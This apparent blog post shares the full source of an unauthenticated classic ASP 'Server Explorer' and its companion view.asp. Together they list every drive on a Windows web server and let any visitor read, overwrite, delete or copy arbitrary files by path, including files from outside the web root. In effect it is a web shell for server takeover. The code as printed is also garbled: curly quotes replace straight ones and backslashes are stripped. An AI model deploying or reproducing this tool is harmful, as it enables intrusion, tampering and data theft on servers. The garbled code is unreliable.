explore server NT


compiler : asp

<%@ Language=VBScript %>

<%Option Explicit%>

<%

Dim oFso,oDrv,oRoot,colFolders,objFolder,colFiles,objFile,intMB

Dim intCode,strLetter,strList,intBsPos,intPrevBsPos,iLevel,strThisApp

strThisApp=Request.ServerVariables(“SCRIPT_NAME”)

Set oFso=Server.CreateObject(“Scripting.FileSystemObject”)

strList=Request.QueryString(“list”)

‘wr “Query = ” & strList & “<BR>”

%><HTML>

<HEAD>

<TITLE>:: Server Explorer v1.5 -by- Nope ::</TITLE>

<STYLE>

.txt { FONT-FAMILY: Verdana,Arial; FONT-SIZE: 10px }

a { COLOR: #333333; TEXT-DECORATION: none }

a:hover { TEXT-DECORATION: underline }

a:visited { COLOR: #666666 }

</STYLE>

</HEAD>

<BODY leftmargin=”0″ topmargin=”0″>

<TABLE border=”0″>

<TR><TD colspan=”7″><B><FONT size=”+1″>++ Exploring <%=Request.ServerVariables(“LOCAL_ADDR”)%> ++</FONT></B></TD></TR>

<%

For intCode=65 to 90

strLetter=Chr(intCode)

if oFso.DriveExists(strLetter) then

wr “<TR><TD colspan=””7″”><B>Drive ” & strLetter & “: ”

Set oDrv=oFso.GetDrive(strLetter)

Select Case oDrv.DriveType

Case 0

wr ” [ Unknown ]<B></TD></TR>” & vbCrLf

Case 1

‘If oDrv.IsReady Then wr “<A href=””” & strThisApp & “?list=” & Server.URLEncode(strLetter & “:”) & “””>”

‘wr ” [ Removable ]”

‘If oDrv.IsReady Then wr “[ “& oDrv.VolumeName &” ]</A>”

‘wr “<B></TD></TR>” & vbCrLf

Case 2

If oDrv.IsReady Then

wr “<A href=””” & strThisApp & “?list=” & Server.URLEncode(strLetter & “:”) & “””> [ ” & oDrv.VolumeName & ” ]</A></B>”

wr ” &lt; “& getMB(oDrv.FreeSpace) & ” available | ”

wr getMB(oDrv.TotalSize) & ” occupied &gt;</TD></TR>” & vbCrLf

If strList<>”” And Left(strList,1)=strLetter Then

‘wr “<BR>”

intPrevBsPos=1

intBsPos=InStr(strList,””)

‘wr “Query = ” & strList & “<BR>”

‘wr “Len query = ” & Len(strList) & “<BR>”

‘wr “intBsPos = ” & intBsPos & “<BR>”

list strLetter & “:”,Left(strList,intBsPos),1

End If

Else

wr “<FONT color=red>[ Drive Not Ready ]</FONT><BR>”

End If

Case 3

If oDrv.IsReady Then wr “<A href=””” & strThisApp & “?list=” & Server.URLEncode(strLetter & “:”) & “””>”

wr ” [ Network ]”

If oDrv.IsReady Then wr “[ “& oDrv.ShareName &” ]</A>”

wr “<B></TD></TR>” & vbCrLf

Case 4

If oDrv.IsReady Then wr “<A href=””” & strThisApp & “?list=” & Server.URLEncode(strLetter & “:”) & “””>”

wr ” [ CD ROM ]</B>”

If oDrv.IsReady Then

wr “<B>[ “& oDrv.VolumeName &” ]</B></A>”

wr ” &lt; “& getMB(oDrv.FreeSpace) & ” available | ”

wr getMB(oDrv.TotalSize) & ” occupied &gt;</TD></TR>” & vbCrLf

End If

wr “</TD></TR>” & vbCrLf

If strList<>”” And Left(strList,1)=strLetter Then

‘wr “<BR>”

intPrevBsPos=1

intBsPos=InStr(strList,””)

‘wr “Query = ” & strList & “<BR>”

‘wr “Len query = ” & Len(strList) & “<BR>”

‘wr “intBsPos = ” & intBsPos & “<BR>”

list strLetter & “:”,Left(strList,intBsPos),1

End If

Case 5

wr ” [ RamDisk ]<B></TD></TR>” & vbCrLf

End Select

End If

Next

Err.Clear

%>

</TABLE>

</BODY>

</HTML>

<%

Sub wr(str)

Response.Write Str

End Sub

Function getMB(bt)

If bt<1024 then

getMB=CStr(bt) & ” bytes”

ElseIf bt<1024^2 then

getMB=CStr(Round(bt/1024,2)) & ” KB”

ElseIf bt<1024^3 then

getMB=CStr(Round(bt/(1024^2),2)) & ” MB”

Else

getMB=CStr(Round(bt/(1024^3),2)) & ” GB”

End If

End Function

Function Spasi(x)

Dim i

spasi=””

For i=1 to x

spasi=spasi & “&nbsp;”

Next

End Function

Sub List(drv,strPath,level)

Dim oFs,oRt,cFolders,oFolder,cFiles,oFile

Set oFs=Server.CreateObject(“Scripting.FileSystemObject”)

Set oRt=oFs.GetFolder(strPath)

intPrevBsPos=intBsPos+1

intBsPos=InStr(intPrevBsPos,strList,””)

‘wr level & “. Isi intBsPos : ” & intBsPos & “<BR>”

If intBsPos<=0 Then intBsPos=Len(strList)+1

Set cFolders=oRt.SubFolders

On Error Resume Next

For Each oFolder In cFolders

If Err.Number=0 Then

wr “<TR>”& vbCrLf

wr ” <TD>”& spasi(level*3) &”<A href=””” & strThisApp & “?list=” & Server.URLEncode(oFolder.Path) & “””>” & oFolder.ShortName & “</A></TD>”& vbCrLf

wr ” <TD>&nbsp;</TD>”& vbCrLf

wr ” <TD> &lt;DIR&gt;</TD>”& vbCrLf

wr ” <TD>”& FormatDateTime(oFolder.DateCreated,vbShortDate) &”</TD>”

wr ” <TD>”& FormatDateTime(oFolder.DateCreated,vbShortTime) &”</TD>”

wr ” <TD>”& oFolder.Name &”</TD>”

wr ” <TD>&nbsp;</TD>”& vbCrLf

wr “</TR>”

‘wr “Len of strList = ” & Len(strList) & “<BR>”

If Len(strList)>3 Then

‘wr “objFolder.Path = ” & objFolder.Path & “<BR>” & vbCrLf & “Left(strlist,intBsPos-1) = ” & Left(strlist,intBsPos-1) & “<BR>”

If oFolder.Path=Left(strlist,intBsPos-1) Then

‘wr “intBsPos = ” & intBsPos & “<BR>” & vbCrLf & “Len(strList) = ” & Len(strList) & “<BR>”

If intBsPos<=Len(strList)+1 Then

‘wr “Disini Mulai rekursif… <BR>”

List drv,Left(strList,intBsPos),level+1

End If

End If

End If

Else

wr “<TR><TD colspan=””3″”><FONT color=””red””>Error : <B>”& Err.Description &”: “& Err.Source &”</B></FONT></TD></TR>”

Exit For

End If

Next

Set cFiles=oRt.Files

For Each oFile In cFiles

Dim dotpos,tName

tName=oFile.ShortName

If Len(tName)=0 Then tName=oFile.Name

dotpos=InStrRev(tName,”.”)

If dotpos<=0 Then dotpos=Len(tName)+1

wr “<TR>”& vbCrLf

wr ” <TD>”& spasi(level*3) & “<A href=””view.asp?file=” & Server.URLEncode(oFile.Path) &”””>” & Left(tName,dotpos-1) & “</A></TD>”& vbCrLf

If dotpos=Len(tName)+1 Then

wr ” <TD>&nbsp;</TD>” & vbCrLf

Else

wr ” <TD>”& Mid(oFile.Name,InStrRev(oFile.Name,”.”)+1,Len(oFile.Name)-InStrRev(oFile.Name,”.”)) &”</TD>”& vbCrLf

End If

wr ” <TD align=””right””>”& getMB(oFile.Size) &”</TD>”& vbCrLf

wr ” <TD>”& FormatDateTime(oFile.DateCreated,vbShortDate) &”</TD>”& vbCrLf

wr ” <TD align=””right””>”& FormatDateTime(oFile.DateCreated,vbShortTime) &”</TD>”& vbCrLf

wr ” <TD>”& oFile.Name &”</TD>”& vbCrLf

wr ” <TD>[ ”

Select Case oFile.Attributes

Case 0

wr “Normal ”

Case 1

wr “Read-Only ”

Case 2

wr “Hidden ”

Case 4

wr “System ”

Case 8

wr “Volume(name) ”

Case 16

wr “Directory ”

Case 32

wr “Archive ”

Case 64

wr “Alias ”

Case 128

wr “Compressed ”

Case Else

wr “No Attribute ”

End Select

wr “]</TD>”& vbCrLf

‘wr ” <TD>”& spasi(3) & getMB(oFile.Size) & “</TD>”& vbCrLf

wr “</TR>”

Next

End Sub

%>

ini untuk view file :

<%@ Language=VBScript %>

<%Option Explicit%>

<%

Const FILE_LIMIT=500000

‘*** Ini absolute path web nya,

‘*** buat naro file yg dikopi dari folder diluar web folder

Const DEST_PATH=”d:webswwwrootnovancpdownload”

Dim strFileName,oFso,oFile,oText,sSubmit

strFileName=Request(“file”)

sSubmit=LCase(Request.Form(“submit”))

Set oFso=Server.CreateObject(“Scripting.FileSystemObject”)

Set oFile=oFso.GetFile(strFileName)

If sSubmit=”cancel” Then Response.Redirect “fso.asp?list=”& Server.URLEncode(oFile.Path)

%>

<HTML>

<HEAD>

<TITLE>Viewing <%=strFileName%></TITLE>

<META http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″>

<STYLE>

BODY { FONT-FAMILY: Verdana,Arial; FONT-SIZE: 10px }

a { TEXT-DECORATION: none }

a:hover { TEXT-DECORATION: underline }

</STYLE>

</HEAD>

<BODY bgcolor=”#FFFFFF” text=”#000000″>

<% If sSubmit=”” Then %>

<A href=”fso.asp?list=<%=Server.URLEncode(Left(strFileName,InStrRev(strFileName,””)))%>”>Kembali ke list</A><BR><BR>

File : <B><%=strFileName%></B> &lt;<%=getMB(oFile.Size)%>&gt; [ <%=oFile.Type%> ]<BR>

<% If oFile.Size<FILE_LIMIT Or Not IsBinaryFile(oFile.ShortName) Then %>

<FORM method=”post” action=”<%=Request.ServerVariables(“SCRIPT_NAME”)%>”>

<P>

<Input type=”hidden” name=”file” value=”<%=strFileName%>”>

<TEXTAREA name=”fileview” cols=”100″ rows=”20″><%

On Error Resume Next

Set oText=oFile.OpenAsTextStream

If Err.Number=0 Then

Do While Not oText.AtEndOfStream

Response.Write Server.HTMLEncode(oText.ReadLine) & vbCrLf

Loop

oText.Close

Else

Response.Write “Ooopss.. Error Found!” & vbcrlf

Response.Write “It says : ‘” & Err.Description &”‘”& vbCrLf

End If

%></TEXTAREA>

<BR>

<INPUT type=”submit” name=”Submit” value=”Delete”>

<INPUT type=”submit” name=”Submit” value=”Save”>

<INPUT type=”submit” name=”submit” value=”Save As”>

<INPUT type=”text” name=”filenew” size=”50″ value=”<%=strFileName%>”>

<BR>

<INPUT type=”submit” name=”Submit” value=”Download”>

</P>

</FORM>

<% Else %>

<FORM method=”post” action=”<%=Request.ServerVariables(“SCRIPT_NAME”)%>” >

<B>Ukuran file lebih besar dari <%=getMB(FILE_LIMIT)%> atau ini adalah file biner. <BR>

Download File?</B><BR><BR>

<INPUT type=”hidden” name=”file” value=”<%=strFileName%>”>

<INPUT type=”submit” name=”Submit” value=”Download”>

<INPUT type=”submit” name=”Submit” value=”Cancel”>

</FORM>

<% End If

Else

On Error Resume Next

Select Case LCase(sSubmit)

Case “save”,”save as”

Dim strText,arrText,i

strText=Request.Form(“fileview”)

arrText=Split(strText,vbCrLf)

If LCase(sSubmit)=”save” Then

Set oText=oFso.CreateTextFile(strFileName,1)

Else

Set oText=oFso.CreateTextFile(Request.Form(“FileNew”),1)

End If

If Err.Number>0 Then

Write_Err Err.Description

Else

For i=0 to UBound(arrText)

oText.WriteLine arrText(i)

Next

oText.Close

Response.Write “<BR><FONT color=””red””><B>File “& strFileName &” Berhasil di save!</B><BR>”

End If

Case “delete”

oFile.Delete(True)

If Err.Number>0 Then

Write_Err Err.Description

Else

Response.Write “<BR><FONT color=””red””><B>File “& strFileName &” Berhasil di delete!</B><BR>”

End If

Case “download”

If oFile.Size<=3000000 Then

Dim oTextTo,sBuffer,nIndex

Set oText=oFile.OpenAsTextStream

Set oTextTo=oFso.CreateTextFile(DEST_PATH & oFile.Name,True)

‘oFile.Copy DEST_PATH,1

If Err.Number>0 Then

Write_Err Err.Description

Else

Do While Not oText.AtEndOfStream

sBuffer=CWideString(oText.ReadLine)

oTextTo.WriteLine CByteString(sBuffer)

Loop

oText.Close

oTextTo.Close

Response.Write “<BR><FONT color=””red””><B>File “& strFileName &” Berhasil di copy ke “& DEST_PATH

&”!</B><BR>”

End If

Else

wr “<BR><FONT color=””red””><B>UNABLE TO COPY!<BR>File terlalu besar untuk di copy. Copy Di

batalkan!</B></FONT><BR>”

End If

Case Else

Response.Write “Submit mode : ” & sSubmit

End Select

Response.Write “<BR><A href=””fso.asp?list=”& Left(strFileName,InStrRev(strFileName,””)) &”””>Kembali ke list</A>”

End If

%>

</BODY>

</HTML>

<%

Sub wr(str)

Response.Write Str

End Sub

Function getMB(bt)

If bt>1000000 Then

getMB=CStr(Round(CInt(bt/1049090),2)) & ” MB”

ElseIf (bt<1000000) And (bt>1000) Then

getMB=CStr(Round(CInt(bt/1024),2)) & ” KB”

Else

getMB=CStr(bt) & ” bytes”

End If

End Function

Sub Write_Err(sDesc)

Response.Write “<FONT color=””red””>Ooopss.. Error Found!</FONT><BR>” & vbcrlf

Response.Write “<FONT color=””red””>It says : <B>'” & sDesc &”‘</B><BR>”& vbCrLf

End Sub

Function IsBinaryFile(sFile)

Dim extf,arrExt,i

IsBinaryFile=True

arrExt=Array(“txt”,”htm”,”html”,”asp”,”log”,”doc”,”m3u”,”bat”,”sys”,”ini”,”inf”)

If InStr(sFile,”.”)>0 Then

extf=LCase(Right(sFile,Len(sFile)-InStrRev(sFile,”.”)))

For i=0 to UBound(arrExt)

If extf=arrExt(i) Then

IsBinaryFile=False

Exit For

End If

Next

Else

IsBinaryFile=False

End If

End Function

Private Function CByteString(sString)

Dim nIndex

For nIndex = 1 to Len(sString)

CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))

Next

End Function

‘Byte string to string conversion

Private Function CWideString(bsString)

Dim nIndex

CWideString =””

For nIndex = 1 to LenB(bsString)

CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))

Next

End Function

%>

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: